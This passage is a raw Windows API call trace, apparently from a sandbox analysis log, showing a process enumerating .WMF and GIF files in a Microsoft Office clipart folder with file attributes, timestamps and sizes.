hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1075e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01236_.WMF", cAlternateFileName="")) returned 1 [0128.814] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01560_.WMF", cAlternateFileName="")) returned 1 [0128.814] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x59d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01561_.WMF", cAlternateFileName="")) returned 1 [0128.814] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01563_.WMF", cAlternateFileName="")) returned 1 [0128.814] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01566_.WMF", cAlternateFileName="")) returned 1 [0128.814] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01568_.WMF", cAlternateFileName="")) returned 1 [0128.814] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01569_.WMF", cAlternateFileName="")) returned 1 [0128.962] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103f89f0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103f89f0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103f89f0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa8a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01575_.WMF", cAlternateFileName="")) returned 1 [0128.963] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2566, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01777_.WMF", cAlternateFileName="")) returned 1 [0128.963] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01785_.WMF", cAlternateFileName="")) returned 1 [0128.963] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1088, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01805_.WMF", cAlternateFileName="")) returned 1 [0128.963] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01905_.WMF", cAlternateFileName="")) returned 1 [0128.963] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3086, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01954_.WMF", cAlternateFileName="")) returned 1 [0128.963] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103f89f0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02009_.WMF", cAlternateFileName="")) returned 1 [0128.963] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02022_.WMF", cAlternateFileName="")) returned 1 [0128.963] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x23a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02024_.WMF", cAlternateFileName="")) returned 1 [0128.963] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2016, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02025_.WMF", cAlternateFileName="")) returned 1 [0128.963] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x24c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02028_.WMF", cAlternateFileName="")) returned 1 [0128.963] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x266c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02045_.WMF", cAlternateFileName="")) returned 1 [0128.963] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fde, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02048_.WMF", cAlternateFileName="")) returned 1 [0128.963] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02051_.WMF", cAlternateFileName="")) returned 1 [0128.963] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02054_.WMF", cAlternateFileName="")) returned 1 [0128.963] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02055_.WMF", cAlternateFileName="")) returned 1 [0128.964] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x382a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02067_.WMF", cAlternateFileName="")) returned 1 [0128.964] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103f89f0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02094_.WMF", cAlternateFileName="")) returned 1 [0128.964] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02227_.WMF", cAlternateFileName="")) returned 1 [0128.964] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x334, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02228_.WMF", cAlternateFileName="")) returned 1 [0128.964] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02233_.WMF", cAlternateFileName="")) returned 1 [0128.964] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe88, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02252_.WMF", cAlternateFileName="")) returned 1 [0128.964] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02253_.WMF", cAlternateFileName="")) returned 1 [0128.964] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02261_.WMF", cAlternateFileName="")) returned 1 [0128.964] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa94, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02263_.WMF", cAlternateFileName="")) returned 1 [0128.964] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02265_.WMF", cAlternateFileName="")) returned 1 [0128.964] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10491364, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10491364, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02268_.WMF", cAlternateFileName="")) returned 1 [0128.964] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02269_.WMF", cAlternateFileName="")) returned 1 [0128.964] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1041ec4b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1041ec4b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1041ec4b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02270_.WMF", cAlternateFileName="")) returned 1 [0128.964] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1041ec4b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1041ec4b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1041ec4b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02276_.WMF", cAlternateFileName="")) returned 1 [0128.964] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103f89f0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02413_.WMF", cAlternateFileName="")) returned 1 [0128.965] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103f89f0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02431_.WMF", cAlternateFileName="")) returned 1 [0128.965] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103f89f0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02437_.WMF", cAlternateFileName="")) returned 1 [0128.965] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02439_.WMF", cAlternateFileName="")) returned 1 [0128.965] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103d2836, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02464_.WMF", cAlternateFileName="")) returned 1 [0128.965] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103d2836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103d2836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103f89f0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02465_.WMF", cAlternateFileName="")) returned 1 [0128.965] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1041ec4b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1041ec4b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1041ec4b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02578_.WMF", cAlternateFileName="")) returned 1 [0128.965] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103f89f0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103f89f0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103f89f0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02617_.WMF", cAlternateFileName="")) returned 1 [0128.965] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103f89f0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103f89f0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103f89f0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02790_.WMF", cAlternateFileName="")) returned 1 [0128.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede90) returned 1 [0128.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede50) returned 1 [0128.969] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF", lpFilePart=0x0) returned 0x44 [0128.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0128.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0128.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 